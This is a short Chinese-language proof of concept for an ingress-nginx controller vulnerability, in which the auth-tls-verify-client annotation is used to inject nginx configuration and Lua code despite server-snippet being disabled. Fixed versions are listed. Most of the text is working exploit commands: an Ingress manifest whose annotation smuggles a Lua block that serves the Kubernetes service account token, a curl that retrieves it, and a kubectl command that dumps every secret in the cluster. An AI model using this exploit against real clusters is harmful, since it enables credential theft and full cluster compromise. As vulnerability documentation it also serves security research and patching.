默认情况下，nginx.ingress.kubernetes.io/server-snippet 是禁用的，但由于此 CVE，nginx.ingress.kubernetes.io/auth-tls-verify-client 仍然可以插入自定义代码片段，甚至可包含 Lua 代码。
ingress-nginx 控制器 v1.11.2 - 由 kubernetes/ingress-nginx#11719 和 kubernetes/ingress-nginx#11721 修复 ingress-nginx 控制器 v1.10.4 - 由 kubernetes/ingress-nginx#11718 和 kubernetes/ingress-nginx#11722 修复
需要拥有创建 ingress 的权限
openssl genrsa -out ca.key 2048
openssl req -new -x509 -key ca.key -out ca.crt -days 365 -subj "/CN=ca"
kubectl create secret generic ca-secret --from-file=ca.crt=ca.crt
kubectl apply -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: cve-ingress
namespace: default
annotations:
nginx.ingress.kubernetes.io/auth-tls-secret: default/ca-secret
nginx.ingress.kubernetes.io/auth-tls-verify-client: "off;\r\nlocation /token{\r\ncontent_by_lua_block{\r\nfile = io.open('/var/run/secrets/kubernetes.io/serviceaccount/token','r')\r\nngx.say(file:read('*a'))\r\nngx.exit(ngx.HTTP_OK)\r\n}\r\n}\r\nset \$test true"
spec:
rules:
- host: test.ingress.io
http:
paths:
- pathType: Prefix
path: /test
backend:
service:
name: test-service
port:
number: 8080
EOF
在默认配置下，该凭证可以访问集群中的所有 secret。
TOKEN=$(curl 127.0.0.1:8080/token -H "Host: test.ingress.io")
kubectl --token=$TOKEN get secret -A -o yaml